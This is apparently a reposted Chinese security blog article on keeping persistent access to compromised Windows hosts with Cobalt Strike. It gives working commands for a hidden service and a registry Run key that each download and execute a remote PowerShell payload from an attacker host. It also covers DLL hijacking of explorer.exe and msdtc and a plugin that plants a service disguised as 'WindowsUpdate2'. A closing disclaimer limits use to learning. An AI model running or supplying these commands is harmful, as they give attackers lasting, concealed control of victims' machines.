CS权限维持

华盟原创文章投稿奖励计划

CS权限维持

CS权限维持

在攻防演练中,无论是在同内网其他出网机器还是在当前被控机,都建议拿到主机权限后优先考虑建立一个持久化的据点,方便后续渗透。正常情况下,当目标机器重启之后,驻留在 cmd.exe、powershell.exe 等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。在Windows上我们可以通过 IFEO、启动项、服务等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。因为这里是cobalt strike wiki,所以主要说一下在CS上的操作,其他一些常见操作就不再详述了,网上资料挺多的。。。

简介

权限维持以启动CS会话为例,不涉及账号隐藏等等, 常见的可以用于启动会话的权限维持方式。1、注册表 2、启动项 3、计时任务 4、服务 5、shift或者放大镜 6、各种劫持 7、利用其他安装的软件

Cobalt strike 注入进程

在目标会话上点击右键

	

Explore-Process List

然后选择一个进程,点击下面菜单栏里的Inject即可完成注入

CS权限维持

无文件后门

从Cobalt Strike菜单栏

	

Attacks--Web Drive-by--Scaripted Web Delivery

生成powershell后门

CS权限维持

点击Launch后,返回powershell远程下载执行命令。然后执行以下命令

	

shell sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))"" shell sc description  Name "Just For Test"   //设置服务的描述字符串 shell sc config Name start= auto             //设置这个服务为自动启动  shell net start Name                         //启动服务

CS权限维持

此时重启服务器后,即可成功返回一个shell

注册表自启动

在windows启动项注册表里面添加一个木马程序路径,如:以system权限打开beacon后,输入

	

shell reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Keyname" /t REG_SZ /d "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))"" /f

CS权限维持

此时账号注销后重新登录,界面上会出现powershell快速闪过消失,成功返回shell 另外以下键值也可设为自启动

	

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun  HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun  HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

加载dll文件

explorer.exe

explorer这个进程每隔一段时间就会自动加载,所以可以用它目录下的配置文件进行权限维持。我们可以使用Cobaltstrike生成对应系统位数的DLL文件放置目标系统C:Windows目录下,要注意重命名为linkinfo.dll

CS权限维持CS权限维持

建议使用administer权限执行此操作,如果系统用户不是Administrator用户需要bypassuac,注意用户一旦注销beacon就会掉

劫持msdtc

msdtc程序每次启动时都会加载三个dll,oci.dll默认是不存在的,可以通过劫持这个 dll以达到权限维持目的,位于注册表:

	

HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSDTCMTxOCI

首先把生成的恶意dll文件传到c:windowssystem32目录下,然后kill掉msdtc进程

	

shell taskkill /f /im msdtc.exe

CS权限维持

等待一段时间,mstdc.exe重新启动后即可成功加载oci.dll上线cs,不过是普通用户身份。。。还得需要自己进行权限提升

CS权限维持

Erebus CobaltStrike后渗透测试插件

项目地址

	

https://github.com/DeEpinGh0st/Erebus

下载后导入CS即可,不过使用时注意会话必须是system权限

使用方式

1、首先加载 cna 脚本

	

Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna

CS权限维持

2、生成 Payload 可执行文件

	

Attacks → Packages → Windows Executable(S)

CS权限维持

3、上传 payload 可执行文件至目标主机并通过插件添加服务

CS权限维持CS权限维持

然后就通过 SC 命令把此 3.exe 添加进了开机启动项,从而初始了一个权限为 SYSTEM 的 Beacon 其效果等同于在beacon控制台中输入

	

shell sc create "WindowsUpdate2" binpath= "cmd /c start "C:bea3.exe""&&sc config "WindowsUpdate2" start= auto&&net start  WindowsUpdate2

此时重启机器后同样会获得上线会话

CS权限维持CS权限维持

文章来源:TIDE安全团队

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

CS权限维持

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容